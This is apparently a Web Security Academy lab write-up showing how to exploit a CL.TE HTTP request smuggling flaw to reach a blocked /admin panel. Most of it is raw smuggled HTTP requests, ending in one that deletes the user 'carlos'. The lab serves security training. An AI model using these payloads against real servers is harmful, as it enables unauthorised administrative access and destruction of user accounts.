Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
Description
This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin
, but the front-end server blocks access to it.
Reproduction and proof of concept
Try to visit
/admin
and observe that the request is blocked.Using Burp Repeater, issue the following request twice:
POST / HTTP/1.1
Host: lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore: X
Observe that the merged request to
/admin
was rejected due to not using the headerHost: localhost
.Issue the following request twice:
POST / HTTP/1.1
Host: lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
X-Ignore: X
Observe that the request was blocked due to the second request’s Host header conflicting with the smuggled Host header in the first request.
Issue the following request twice so the second request’s headers are appended to the smuggled request body instead:
POST / HTTP/1.1
Host: lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Observe that you can now access the admin panel.
Using the previous response as a reference, change the smuggled request URL to delete the user
carlos
:
POST / HTTP/1.1
Host: lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Exploitability
An attacker will need to smuggle a request to the back-end server that accesses the admin
panel and deletes the user carlos
.